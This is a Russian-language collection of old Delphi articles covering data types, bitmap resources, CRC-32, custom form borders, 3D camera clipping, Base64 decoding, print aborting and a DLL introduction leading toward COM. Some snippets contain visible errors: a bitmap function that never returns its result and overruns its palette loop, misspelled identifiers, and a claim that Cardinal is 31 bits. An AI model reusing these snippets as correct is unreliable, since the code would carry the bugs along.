Статьи по Delphi (001)…
Типы данных 16 и 32 бит.
Delphi-16 Delphi-32 SmallInt 16 бит 16 бит Integer 16 бит 32 бит LongInt 32 бит 32 бит Word 16 бит 16 бит Cardinal 16 бит 31 бит
16 и 32-битные RES-файлы.
| Автор: Pat Ritchey |
| Приходит программист домой и говорит жене: - Я голоден как 256 чертей. |
Сохраните RES-файл как RC-файл и используйте BRCC32 для создания 32-битного RES-файла.
Загрузка 256-цветного TBitmap.
Windows не очень полезен, когда мы имеем дело с 256-цветными изображениями. Что делаю я (поскольку думаю, что это самый простой метод): я создаю в памяти изображение таким образом, чтобы TBitmap.LoadFromStream мог "принять" его. Данным методом я загружаю "сырой" ресурс изображения и размещаю его, используя инфорационный заголовок файла изображения. Вот потомок TBitmap, инкапсулирующий вышесказанное:
type
TMyBitmap = class(TBitmap)
public
procedure Load256ColorBitmap(Instance: THandle; BitmapName: PChar);
end;
procedure TMyBitmap.Load256ColorBitmap(Instance: THandle;
BitmapName: PChar);
var
HDib: THandle;
Size: LongInt;
Info: PBitmapInfo;
FileHeader: TBitmapFileHeader;
S: TMemoryStream;
begin
HDib := LoadResource(Instance, FindResource(Instance, BitmapName,
RT_BITMAP));
if HDib <> 0 then
begin
Info := LockResource(HDib);
Size := GetSelectorLimit(Seg(Info^)) + SizeOf(TBitmapFileHeader);
with FileHeader do
begin
bfType := $4D42;
bfSize := Size;
bfReserved1 := 0;
bfReserved2 := 0;
bfOffBits := SizeOf(TBitmapFileHeader) + SizeOf(TBitmapInfoHeader);
case Info^.bmiHeader.biBitCount of
1: bfOffBits := bfOffBits + 2 * 4;
4: bfOffBits := bfOffBits + 16 * 4;
8: bfOffBits := bfOffBits + 256 * 4;
end;
end;
S := TMemoryStream.Create;
try
S.SetSize(Size);
S.Write(FileHeader, SizeOf(TBitmapFileHeader));
S.Write(Info^, Size - SizeOf(TBitmapFileHeader));
S.Position := 0;
LoadFromStream(S);
finally
S.Free;
FreeResource(HDib);
end;
end
else
raise EResNotFound.Create(Format('Не могу найти ресурс изображения %s',
[BitmapName]));
end;
|
Вот как можно это использовать:
Image1.Picture.Bitmap := TMyBitmap.Create; TMyBitmap(Image1.Picture.Bitmap).Load256ColorBitmap(hInstance, 'BITMAP_1'); |
256-цветное изображение из res-файла.
Автор: Mark LussierВот функция, правильно читающая 256-цветные изображения из файла ресурсов.
function LoadBitmap256(hInstance: HWND; lpBitmapName: PChar): HBITMAP;
var
hPal, hRes, hResInfo: THandle;
pBitmap: PBitmapInfo;
nColorData: Integer;
pPalette: PLogPalette;
X: Integer;
hPalette: THandle;
begin
hResInfo := FindResource(hInstance, lpBitmapName, RT_BITMAP);
hRes := LoadResource(hInstance, hResInfo);
pBitmap := Lockresource(hRes);
nColorData := pBitmap^.bmiHeader.biClrUsed;
hPal := GlobalAlloc(GMEM_MOVEABLE, (16 * nColorData));
{ hPal := GlobalAlloc( GMEM_MOVEABLE, ( SizeOf( LOGPALETTE ) +
(nColorData * SizeOf( PALETTEENTRY )));}
pPalette := GlobalLock(hPal);
pPalette^.palVersion := $300;
pPalette^.palNumEntries := nColorData;
for x := 0 to nColorData do
begin
pPalette^.palPalentry[X].peRed := pBitmap^.bmiColors[X].rgbRed;
pPalette^.palPalentry[X].peGreen := pBitmap^.bmiColors[X].rgbGreen;
pPalette^.palPalentry[X].peBlue := pBitmap^.bmiColors[X].rgbBlue;
end;
hPalette := CreatePalette(pPalette^);
GlobalUnlock(hRes);
GlobalUnlock(hPal);
GlobalFree(hPal);
end;
end.
|
32-битный CRC.
| Долгое время считалось, что бит неделим. Но советские учёные... |
Приведен модуль для Delphi 1.0 (для Delphi 2.0 должны быть сделаны небольшие изменения):
unit CRC32;
{CRC32 рассчитывает код циклической избыточности (cyclic redundancy code - CRC),
известный как CRC-32, с использованием алгоритма byte-wise ("мудрый байт").
(C) Авторские права 1989, 1995-1996 Earl F. Glynn, Overland Park, KS.
Все права защищены.
Данный модуль является производным от программы CRCT FORTRAN 77, опубликованной
в "Byte-wise CRC Calculations" за авторством Aram Perez из IEEE Micro, Июнь 1983,
страницы 40-50. Константы для полиномиального генератора CRC-32, приведенные
здесь, опубликованы в "Microsoft Systems Journal", Март 1995, страницы 107-108.
Данный CRC алгоритм имеет бОльшую скорость за счет 512 элементов таблицы
поиска.}
interface
procedure CalcCRC32(p: pointer; nbyte: WORD; var CRCvalue: LongInt);
procedure CalcFileCRC32(FromName: string; var CRCvalue: LongInt;
var IOBuffer: pointer; BufferSize: WORD; var TotalBytes: LongInt;
var error: WORD);
implementation
const
table: array[0..255] of LongInt =
($00000000, $77073096, $EE0E612C, $990951BA,
$076DC419, $706AF48F, $E963A535, $9E6495A3,
$0EDB8832, $79DCB8A4, $E0D5E91E, $97D2D988,
$09B64C2B, $7EB17CBD, $E7B82D07, $90BF1D91,
$1DB71064, $6AB020F2, $F3B97148, $84BE41DE,
$1ADAD47D, $6DDDE4EB, $F4D4B551, $83D385C7,
$136C9856, $646BA8C0, $FD62F97A, $8A65C9EC,
$14015C4F, $63066CD9, $FA0F3D63, $8D080DF5,
$3B6E20C8, $4C69105E, $D56041E4, $A2677172,
$3C03E4D1, $4B04D447, $D20D85FD, $A50AB56B,
$35B5A8FA, $42B2986C, $DBBBC9D6, $ACBCF940,
$32D86CE3, $45DF5C75, $DCD60DCF, $ABD13D59,
$26D930AC, $51DE003A, $C8D75180, $BFD06116,
$21B4F4B5, $56B3C423, $CFBA9599, $B8BDA50F,
$2802B89E, $5F058808, $C60CD9B2, $B10BE924,
$2F6F7C87, $58684C11, $C1611DAB, $B6662D3D,
$76DC4190, $01DB7106, $98D220BC, $EFD5102A,
$71B18589, $06B6B51F, $9FBFE4A5, $E8B8D433,
$7807C9A2, $0F00F934, $9609A88E, $E10E9818,
$7F6A0DBB, $086D3D2D, $91646C97, $E6635C01,
$6B6B51F4, $1C6C6162, $856530D8, $F262004E,
$6C0695ED, $1B01A57B, $8208F4C1, $F50FC457,
$65B0D9C6, $12B7E950, $8BBEB8EA, $FCB9887C,
$62DD1DDF, $15DA2D49, $8CD37CF3, $FBD44C65,
$4DB26158, $3AB551CE, $A3BC0074, $D4BB30E2,
$4ADFA541, $3DD895D7, $A4D1C46D, $D3D6F4FB,
$4369E96A, $346ED9FC, $AD678846, $DA60B8D0,
$44042D73, $33031DE5, $AA0A4C5F, $DD0D7CC9,
$5005713C, $270241AA, $BE0B1010, $C90C2086,
$5768B525, $206F85B3, $B966D409, $CE61E49F,
$5EDEF90E, $29D9C998, $B0D09822, $C7D7A8B4,
$59B33D17, $2EB40D81, $B7BD5C3B, $C0BA6CAD,
$EDB88320, $9ABFB3B6, $03B6E20C, $74B1D29A,
$EAD54739, $9DD277AF, $04DB2615, $73DC1683,
$E3630B12, $94643B84, $0D6D6A3E, $7A6A5AA8,
$E40ECF0B, $9309FF9D, $0A00AE27, $7D079EB1,
$F00F9344, $8708A3D2, $1E01F268, $6906C2FE,
$F762575D, $806567CB, $196C3671, $6E6B06E7,
$FED41B76, $89D32BE0, $10DA7A5A, $67DD4ACC,
$F9B9DF6F, $8EBEEFF9, $17B7BE43, $60B08ED5,
$D6D6A3E8, $A1D1937E, $38D8C2C4, $4FDFF252,
$D1BB67F1, $A6BC5767, $3FB506DD, $48B2364B,
$D80D2BDA, $AF0A1B4C, $36034AF6, $41047A60,
$DF60EFC3, $A867DF55, $316E8EEF, $4669BE79,
$CB61B38C, $BC66831A, $256FD2A0, $5268E236,
$CC0C7795, $BB0B4703, $220216B9, $5505262F,
$C5BA3BBE, $B2BD0B28, $2BB45A92, $5CB36A04,
$C2D7FFA7, $B5D0CF31, $2CD99E8B, $5BDEAE1D,
$9B64C2B0, $EC63F226, $756AA39C, $026D930A,
$9C0906A9, $EB0E363F, $72076785, $05005713,
$95BF4A82, $E2B87A14, $7BB12BAE, $0CB61B38,
$92D28E9B, $E5D5BE0D, $7CDCEFB7, $0BDBDF21,
$86D3D2D4, $F1D4E242, $68DDB3F8, $1FDA836E,
$81BE16CD, $F6B9265B, $6FB077E1, $18B74777,
$88085AE6, $FF0F6A70, $66063BCA, $11010B5C,
$8F659EFF, $F862AE69, $616BFFD3, $166CCF45,
$A00AE278, $D70DD2EE, $4E048354, $3903B3C2,
$A7672661, $D06016F7, $4969474D, $3E6E77DB,
$AED16A4A, $D9D65ADC, $40DF0B66, $37D83BF0,
$A9BCAE53, $DEBB9EC5, $47B2CF7F, $30B5FFE9,
$BDBDF21C, $CABAC28A, $53B39330, $24B4A3A6,
$BAD03605, $CDD70693, $54DE5729, $23D967BF,
$B3667A2E, $C4614AB8, $5D681B02, $2A6F2B94,
$B40BBE37, $C30C8EA1, $5A05DF1B, $2D02EF8D);
type
buffer = array[1..65521] of BYTE; { самый большой буфер, который }
{ только можно распределить в Куче }
var
i: WORD;
q: ^buffer;
procedure CalcCRC32(p: pointer; nbyte: WORD; var CRCvalue: LongInt);
{Ниже выполняется небольшое криптование (но выполняется очень быстро).
Алгоритм работает следующим образом:
1. совершаем операцию "И/ИЛИ" (XOR) входного байта с младшей
частью регистра CRC для получения INDEX
2. сдвигаем регистр CRC на восемь битов вправо
3. совершаем операцию "И/ИЛИ" (XOR) с CRC регистром и
Table[INDEX]
4. повторяем шаги с 1 по 3 для всех байтов }
begin
q := p;
for i := 1 to nBYTE do
CRCvalue := (CRCvalue shr 8) xor
Table[q^[i] xor (CRCvalue and $000000FF)]
end {CalcCRC32};
procedure CalcFileCRC32(FromName: string; var CRCvalue: LongInt;
var IOBuffer: pointer; BufferSize: WORD; var TotalBytes: LongInt;
var error: WORD);
var
BytesRead: WORD;
FromFile: file;
i: WORD;
begin
FileMode := 0; {Turbo по умолчанию 2 для R/W и 0 для R/O}
CRCValue := $FFFFFFFF;
ASSIGN(FromFile, FromName);
{$I-}RESET(FromFile, 1);
{$I+}
error := IOResult;
if error = 0 then
begin
TotalBytes := 0;
repeat
BlockRead(FromFile, IOBuffer^, BufferSize, BytesRead);
CalcCRC32(IOBuffer, BytesRead, CRCvalue);
INC(TotalBytes, BytesRead)
until BytesRead = 0;
CLOSE(FromFile)
end;
CRCvalue := not CRCvalue
end {CalcFileCRC32};
end {CRC}.
|
Трехмерные формы с изменяющимися размерами.
Для запрещения изменения размеров формы вы должны включить обработчик события WMNCHitTest, для обратного эффекта не включайте его в ваш код.
procedure TForm1.WMNCPaint(var Msg: TWMNCPaint);
var
DC: HDC;
Frame_H: Integer;
Frame_W: Integer;
Menu_H: Integer;
Caption_H: Integer;
Frame: TRect;
Extra: Integer;
Canvas: TCanvas;
begin
{ Задаем значения некоторым параметрам окна }
Frame_W := GetSystemMetrics(SM_CXFRAME);
Frame_H := GetSystemMetrics(SM_CYFRAME);
if (Menu <> nil) then
Menu_H := GetSystemMetrics(SM_CYMENU)
else
Menu_H := -1;
Caption_H := GetSystemMetrics(SM_CYCAPTION);
GetWindowRect(Handle, Frame);
Frame.Right := Frame.Right - Frame.Left - 1;
Frame.Left := 0;
Frame.Bottom := Frame.Bottom - Frame.Top - 1;
Frame.Top := 0;
{ Позволяем нарисовать стандартные границы формы }
inherited;
{ Перерисовываем область границ в 3-D стиле }
DC := GetWindowDC(Handle);
Canvas := TCanvas.Create;
try
with Canvas do
begin
Handle := DC;
{ Левая и верхняя граница }
Pen.Color := clBtnShadow;
PolyLine([Point(Frame.Left, Frame.Bottom), Point(Frame.Left, Frame.Top),
Point(Frame.Right, Frame.Top)]);
{ Правая и нижняя граница }
Pen.Color := clWindowFrame;
PolyLine([Point(Frame.Left, Frame.Bottom),
Point(Frame.Right, Frame.Bottom),
Point(Frame.Right, Frame.Top - 1)]);
{ Левая и правая граница, 1 пиксел скраю }
Pen.Color := clBtnHighlight;
PolyLine([Point(Frame.Left + 1, Frame.Bottom - 1),
Point(Frame.Left + 1, Frame.Top + 1),
Point(Frame.Right - 1, Frame.Top + 1)]);
{ Правая и нижняя граница, 1 пиксел скраю }
Pen.Color := clBtnFace;
PolyLine([Point(Frame.Left + 1, Frame.Bottom - 1),
Point(Frame.Right - 1, Frame.Bottom - 1),
Point(Frame.Right - 1, Frame.Top)]);
{ Разность области изменяемых границ }
for Extra := 2 to (GetSystemMetrics(SM_CXFRAME) - 1) do
begin
Brush.Color := clBtnFace;
FrameRect(Rect(Extra, Extra, Frame.Right - Extra + 1, Frame.Bottom -
Extra + 1));
end;
{ Левая и верхняя граница области заголовка }
Pen.Color := clBtnShadow;
PolyLine([Point(Frame_W - 1, Frame_H + Caption_H + Menu_H - 1),
Point(Frame_W - 1, Frame_H - 1),
Point(Frame.Right - Frame_W + 1, Frame_H - 1)]);
{ Левая и верхняя граница области заголовка }
Pen.Color := clBtnHighlight;
PolyLine([Point(Frame_W - 1, Frame_H + Caption_H + Menu_H - 1),
Point(Frame.Right - Frame_W + 1, Frame_H + Caption_H + Menu_H - 1),
Point(Frame.Right - Frame_W + 1, Frame_H - 1)]);
end;
finally
Canvas.Free;
ReleaseDC(Handle, DC);
end; { try-finally }
end;
procedure TForm1.WMNCHitTest(var Msg: TWMNCHitTest);
var
HitCode: LongInt;
begin
inherited;
HitCode := Msg.Result;
if ((HitCode = HTLEFT) or (HitCode = HTRIGHT) or
(HitCode = HTTOP) or (HitCode = HTBOTTOM) or
(HitCode = HTTOPLEFT) or (HitCode = HTBOTTOMLEFT) or
(HitCode = HTTOPRIGHT) or (HitCode = HTBOTTOMRIGHT)) then
begin
HitCode := HTNOWHERE;
end;
Msg.Result := HitCode;
end;
|
Основы 3D математики - Работа с камерой.
Проецирование
Например, у нас задан в пространстве треугольник ABC, у каждой вершины, ес-сно, заданы координаты x,y,z. Как все это безобразие спроецировать на экранную плоскость? Я буду описывать в данной статье только перспективное проецирование.
Существуют стандартные фомулы проецирования:
x` = x*FOV/z + xRes/2 y` = y*FOV/z + yRes/2 |
Камера находится в (0;0;0), и направлена по оси z, такая камера называется "стандартной".
Произвольная камера
Вас устраивает камера, всегда расположенная в начале координат, и повернутая в одном направлении? :) нет конечно :) Камера, расположенная произвольно в пространстве и повернутая под произвольным углом называется "произвольной".
Что требуется сделать для использования произвольной камеры? Правильно, составить матрицу, приводящую произвольную камеру к стандартной. Требуется помножить матрицы параллельного переноса для точки, где располагается камера, на матрицы поворотов - углы поворотов - углы, задающие направление камеры, а полученную матрицу последовательно перемножить со всеми точками на 3D-сцене.
Z-Отсечение
Если Вы уже попробовали сделать вышенаписанное, то наверняка столкнулись с проблемой - если точка-вершина расположена за камерой, т.е. ее z-координата при приведении к стандартной камере < 0, она неправильно проецируется, а если z-координата этой точки = 0 - деление на 0.. если взглянуть на формулы проецирования, можно увидеть, почему так происходит..
Если Вам требуется спроецировать только одну-лишь точку, не связанную ни с чем - все просто - Вы можете при z <= 0 просто отказаться от ее проецирования. Но если это - вершина треугольника? Ее отбросить никак нельзя. Решение этой проблемы - в отсечении полигона по оси Z.
Вот алгоритм такого отсечения(берем, к примеру, треугольник, как самый простой полигон):
Проверяем z-координаты всех вершин, если есть точки, у которых z-координаты <=0 - проводим отсечение (если у всех вершин полигона z-координата <= 0 - вообще пропускаем этот полигон). Последовательно проверяем каждую вершину (по или против часовой стрелки). Если сторона, которую образует эта вершина и след. по порядку, пересекается с осью z - находим координаты точки пересечения стороны с осью, они будут координатами одной из вершин искомого полигона; если следующая точка после рассматриваемой лежит в положительной полуплоскости z (или, что правильнее, xy)- тогда сохраняем координаты след. точки после просматриваемой в искомые; если сторона не пересекает ось z, лежит в отрицательной полуплоскости - пропускаем ее.Немного запутанное объяснение, но - вернемся к нашему примеру с треугольником ABC, отсечем его по оси z.
Начнем с точки A, след. точкой будет точка B. Сторона AB лежит в отрицательной полуплоскости, пропускаем. Дальше - точка B, следующая - C. Сторона BC пересекается с осью z, т.к., просто-напросто, у точки B координата z < 0, а у точки C координата z > 0; находим точку пересечения стороны с осью z. добавляем эту точку в список искомых; так как точка C лежит в положительной полуплоскости - добавляем ее в список искомых. Дальше рассматриваем точку C, следующая точка - A. Сторона CA, опять же, пересекает ось z, находим точку пересечения этой стороны с осью z... опять же добавляем ее в список искомых. Все, мы "обошли" все вершины полигона, найденые вершины B'CA' как раз и образуют отсеченный по оси z полигон.
Небольшое примечание - отсекать надо не по оси z, т.е. координата z линии отсечения = 0, а по линии, находящейся очень близко к оси z, и лежащей в положительной полуплоскости (например, z=0,0001) - чтобы избежать деления на 0 при проецировании.
2D-Отсечение
Мы уже можем управлять камерой, корректно проецировать полигоны на экранную плоскость.. не хватает одного в работе с камерой - 2D-отсечения. Экранные координаты ограничены разрешением экрана, например, 800x600. И, к примеру, спроецированный полигон получился такой (ABC):
Мы воспользуемся аналогичным описанному выше алгоритмом, только сейчас мы будем отсекать прямые не по плоскости, а по прямым. Фактически, мы будем отсекать полигон последовательно по левой, нижней, правой, верхней границам экрана точно также, как и отсекали полигон по плоскости z - единственное, искать пересечение для точки будем уже не для 3D, а для 2D случая.
Для данного полигона:
отсекаем по левой границе. полигон ABC. отсекаем по нижней границе. полигон AA`B`C отсекаем по правой границе. полигон AA`B`B``C` отсекаем по верхней границе. полигон AA`B`B``C`.Существуют и другие способы отсечения, но этот - один из самых известных. этот алгоритм носит название алгоритм Сазерленда-Ходжмана(Sutherland-Hodgman algorithm).
В принципе, вот и все о работе с камерой.
64-битное кодирование.
| Автор: Arne de Bruijn |
| В ходе судебного разбирательства с Microsoft были предложены четыре варианта решений: 1. Билл Гейтс должен застрелиться. 2. Билл Гейтс должен утопиться. 3. Билл Гейтс должен повеситься. 4. Билл Гейтс должен опубликовать исходные коды Windows. |
{ 64-битное декодирование файлов }
{ Arne de Bruijn }
uses dos;
var
Base64: array[43..122] of byte;
var
T: text;
Chars: set of char;
S: string;
K, I, J: word;
Buf: pointer;
DShift: integer;
F: file;
B, B1: byte;
Decode: array[0..63] of byte;
Shift2: byte;
Size, W: word;
begin
FillChar(Base64, SizeOf(Base64), 255);
J := 0;
for I := 65 to 90 do
begin
Base64[I] := J;
Inc(J);
end;
for I := 97 to 122 do
begin
Base64[I] := J;
Inc(J);
end;
for I := 48 to 57 do
begin
Base64[I] := J;
Inc(J);
end;
Base64[43] := J;
Inc(J);
Base64[47] := J;
Inc(J);
if ParamCount = 0 then
begin
WriteLn('UNBASE64 <mime-файл> [<выходной файл>]');
Halt(1);
end;
S := ParamStr(1);
assign(T, S);
GetMem(Buf, 32768);
SetTextBuf(T, Buf^, 32768);
{$I-}reset(T);
{$I+}
if IOResult <> 0 then
begin
WriteLn('Ошибка считывания ', S);
Halt(1);
end;
if ParamCount >= 2 then
S := ParamStr(2)
else
begin
write('Расположение:');
ReadLn(S);
end;
assign(F, S);
{$I-}rewrite(F, 1);
{$I+}
if IOResult <> 0 then
begin
WriteLn('Ошибка создания ', S);
Halt(1);
end;
while not eof(T) do
begin
ReadLn(T, S);
if (S <> '') and (pos(' ', S) = 0) and (S[1] >= #43) and (S[1] <= #122) and
(Base64[byte(S[1])] <> 255) then
begin
FillChar(Decode, SizeOf(Decode), 0);
DShift := 0;
J := 0;
Shift2 := 1;
Size := 255;
B := 0;
for I := 1 to Length(S) do
begin
case S[I] of
#43..#122: B1 := Base64[Ord(S[I])];
else
B1 := 255;
end;
if B1 = 255 then
if S[I] = '=' then
begin
B1 := 0;
if Size = 255 then
Size := J;
end
else
WriteLn('Ошибка символа:', S[I], ' (', Ord(S[I]), ')');
if DShift and 7 = 0 then
begin
Decode[J] := byte(B1 shl 2);
DShift := 2;
end
else
begin
Decode[J] := Decode[J] or Hi(word(B1) shl (DShift + 2));
Decode[J + 1] := Lo(word(B1) shl (DShift + 2));
Inc(J);
Inc(DShift, 2);
end;
end;
if Size = 255 then
Size := J;
BlockWrite(F, Decode, Size);
end;
end;
Close(F);
close(T);
end.
|
64-битное кодирование 2.
Автор: Евгений.
const
Base64Table =
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
function Base64Decode(cStr: string): string;
var
ResStr: string;
DecStr: string;
RecodeLine: array[1..76] of byte;
f1, f2: word;
l: integer;
begin
l := length(cStr);
ResStr := '';
for f1 := 1 to l do
if cStr[f1] = '=' then
RecodeLine[f1] := 0
else
RecodeLine[f1] := pos(cStr[f1], Base64Table) - 1;
f1 := 1;
while f1 < length(cStr) do
begin
DecStr := chr(byte(RecodeLine[f1] shl 2) + RecodeLine[f1 + 1] shr 4) +
chr(byte(RecodeLine[f1 + 1] shl 4) + RecodeLine[f1 + 2] shr 2) +
chr(byte(RecodeLine[f1 + 2] shl 6) + RecodeLine[f1 + 3]);
ResStr := ResStr + DecStr;
inc(f1, 4);
end;
Base64Decode := ResStr;
end;
|
64-битное кодирование 3.
Автор: http://www.swissdelphicenter.ch
function Decode(const S: AnsiString): AnsiString;
const
Map: array[Char] of Byte = (0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 62, 0, 0, 0, 63, 52, 53,
54, 55, 56, 57, 58, 59, 60, 61, 0, 0, 0, 0, 0, 0, 0, 0, 1, 2,
3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19,
20, 21, 22, 23, 24, 25, 0, 0, 0, 0, 0, 0, 26, 27, 28, 29, 30,
31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45,
46, 47, 48, 49, 50, 51, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0);
var
I: LongInt;
begin
case Length(S) of
2:
begin
I := Map[S[1]] + (Map[S[2]] shl 6);
SetLength(Result, 1);
Move(I, Result[1], Length(Result))
end;
3:
begin
I := Map[S[1]] + (Map[S[2]] shl 6) + (Map[S[3]] shl 12);
SetLength(Result, 2);
Move(I, Result[1], Length(Result))
end;
4:
begin
I := Map[S[1]] + (Map[S[2]] shl 6) + (Map[S[3]] shl 12) +
(Map[S[4]] shl 18);
SetLength(Result, 3);
Move(I, Result[1], Length(Result))
end
end
end;
function Encode(const S: AnsiString): AnsiString;
const
Map: array[0..63] of Char = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' +
'abcdefghijklmnopqrstuvwxyz0123456789+/';
var
I: LongInt;
begin
I := 0;
Move(S[1], I, Length(S));
case Length(S) of
1:
Result := Map[I mod 64] + Map[(I shr 6) mod 64];
2:
Result := Map[I mod 64] + Map[(I shr 6) mod 64] +
Map[(I shr 12) mod 64];
3:
Result := Map[I mod 64] + Map[(I shr 6) mod 64] +
Map[(I shr 12) mod 64] + Map[(I shr 18) mod 64]
end
end;
Диалог прекращения печати.
Как мне создать диалог прекращения печати при работе с TPrinter? Создайте форму с кнопкой "Abort". Обработчик нажатия кнопки должен вызывать Printer.Abort.Теперь, при запуске печати, вам необходимо показать этот диалог в немодальном режиме методом Show(). Тем не менее, перед показом диалога необходимо деактивировать главную форму приложения, например так:
Application.MainForm.Enabled := false;
AbortDlg.Show;
{ Здесь код печати }
AbortDlg.Close;
Appliction.MainForm.Enable := true;
|
Имейте в виду, что для правильной логики работы необходимо проверять значение свойства Printer.Aborted. Если пользователь нажал кнопку прекращения печати, эта переменная укажет о необходимости выхода из подпрограммы печати. Но здесь есть небольшой подвох. Printer.Abort предполагает прерывание печати вызовом функции WinProcs.AbortDoc(), но он не делает этого (по крайней мере в Delphi 1). Следовательно, исправляя ошибку Borland, вы должны это делать сами в ответ на нажатие кнопки Abort (в обработчике события onClick).
Общие сведения о COM.
Автор: Fantasist WEB-сайт: http://forum.vingrad.ru Хотел я в общих словах расказать основную идею СОМ. Когда я понял, что это такое показалась такая простая вещь, что можно коротко рассказать. Но не получилось... Что ж, будет немного подлиннее.Итак, попробуем рассказать в простоте. Вот есть у вас класс - примитивный калькулятор:
MyCalc = class fx, fy: integer; public: procedure SetOperands(x, y: integer) function Sum: integer; function Diff: integer; end; procedure MyCalc.SetOperands(x, y: integer) begin fx := x; fy := y; end; function MyCalc.Sum: integer; begin result := fx + fy; end; function MyCalc.Diff: integer; begin result := fx - fy; end;
Все элементарно. Теперь если у вас есть объект этого класса, то вам не составит труда им воспользоваться. Но представим следующую ситуацию: у вас есть один модуль, где объявлется объект этого класса. Допустим:
unit MyCalc
type
MyCalc = class
<описание выше>
var
Calc: MyCalc;
И теперь вы хотите использовать в другом модуле. Хорошо, скажите Вы, мы его просто подключим, и используем. Но, допустим, вы хотите, чтобы и другие могли пользоваться вашим объектом, даже используея другой компилятор. То есть нужно сделать так, чтобы ваш модуль можно было бы использовать без перекомпиляции. Как это сделать? Ясно, что без каких-то стандартов не обойтись. Скорее всего, самый простой вариант выглядел бы так:
unit MyCalc
type
MyCalc = class
< описание выше >
var
Calc: MyCalc;
procedure SetOperands(x, y: integer)
begin
Calc.SetOperands(x, y);
end;
function Sum: integer;
begin
result := Calc.Sum;
end;
function Diff: integer;
begin
result := Са1с.Diff;
end;
procedure CreateObject;
begin
Calc := MyCalc.Create;
end;
procedure ReleaseObject;
begin
Calc.Free;
end;
откомпилировать этот юнит, посмотреть, по какому адресу находятся функции SetOperands, Sum, Diff, CreateObject и ReleaseObject и приложить документацию где эти адреса будут указанны. Теперь каждый сможет загрузить ваш модуль в память и по адресу указанном в вашей документации вызвать нужную функцию.
Понятно, чем такой подход череват. Это крайне не удобно. Но, эта проблема была поставленна давно, и теперь у нас есть стандартизированное соглашение об экспорте функций. То есть вместо того, чтобы писать для каждого модуля документацию с адресами функций при компиляции в заголовке модуля создается специальная стандартная таблица где указанны имена этих функций и их адреса (также указывается числовой индефикатор, который может быть использован вместо имени). Теперь уже лучше. Для того чтобы вызвать ваши функции, достаточно загрузить ваш модуль в память прочитать таблицу экспорта, и можно по именам в ней нати адреса функций и их вызвать. Так устроены DLL. Сейчас все это поддерживается компиляторами, и Windows API. То есть вам самому ничего этого делать не надо, а достаточно вызвать LoadLibrary, чтобы загрузить ваш модуль в память, и GetProcAddress чтобы получить адрес функции по имени.
DLL
Ура. До нас и за нас все уже стандатизировали. Давайте этим воспользуемся и напишим теперь наш модуль в постандарту. Напишим dll.
library CalcDll;
uses SysUtils, Classes;
type
MyCalc = class
fx, fy: integer;
public
procedure SetOperands(x, y: integer);
function Sum: integer;
function Diff: integer;
end;
var
Calc: MyCalc;
procedure MyCalc.SetOperands(x, y: integer);
begin
fx := x;
fy := y;
end;
function MyCalc.Sum: integer;
begin
result := fx + fy;
end;
function MyCalc.Diff: integer;
begin
result := fx - fy;
end;
procedure SetOperands(x, y: integer);
begin
Calc.SetOperands(x, y);
end;
function Sum: integer;
begin
result := Calc.Sum;
end;
function Diff: integer;
begin
result := Calc.Diff;
end;
procedure CreateObject;
begin
Calc := MyCalc.Create;
end;
procedure ReleaseObject;
begin
Calc.Free;
end;
exports //Вот эта секция и указывает компилятору что записать в таблицу экспорта
SetOperands,
Sum,
Diff,
CreateObject,
ReleaseObject;
begin
end.
Напишим программку - протестировать наш модуль.
unit tstcl;
interface
uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
end;
var
Form1: TForm1;
_Mod: Integer; //индефикатор модуля
SetOpers: procedure(x, y: integer); //Это все указатели на функции,
diff, sum: function: integer; //которые мы собираемся получить
CreateObj, ReleaseObj: procedure; //из нашего модуля
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
//загружаем наш модуль в память
_Mod := LoadLibrary('CalcDll.dll');
//получаем адреса функций по именам
CreateObj := GetProcAddress(_Mod, 'CreateObject');
ReleaseObj := GetProcAddress(_Mod, 'ReleaseObject');
sum := GetProcAddress(_Mod, 'Sum');
diff := GetProcAddress(_Mod, 'Diff');
SetOpers := GetProcAddress(_Mod, 'SetOperands');
CreateObj; //вызываем функцию по адресу
SetOpers(13, 10); //вызываем функцию по адресу
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
ReleaseObj; //опять вызываем функцию по адресу
FreeLibrary(_Mod); //выгружаем модуль из памяти
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage(IntToStr(diff)); //вычисляем разницу
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
ShowMessage(IntToStr(sum)); //вычисляем сумму
end;
end.
Классно! Теперь каждый программирующий в системе Windows на любом языке может использовать наш калькулятор! Что? Разочарованны? Такое ощущение что COM тут и не пахнет?
Правильно, ибо про СОМ я пока ничего и не сказал, но Продолжение следует!
Еще шаг в направлении COM
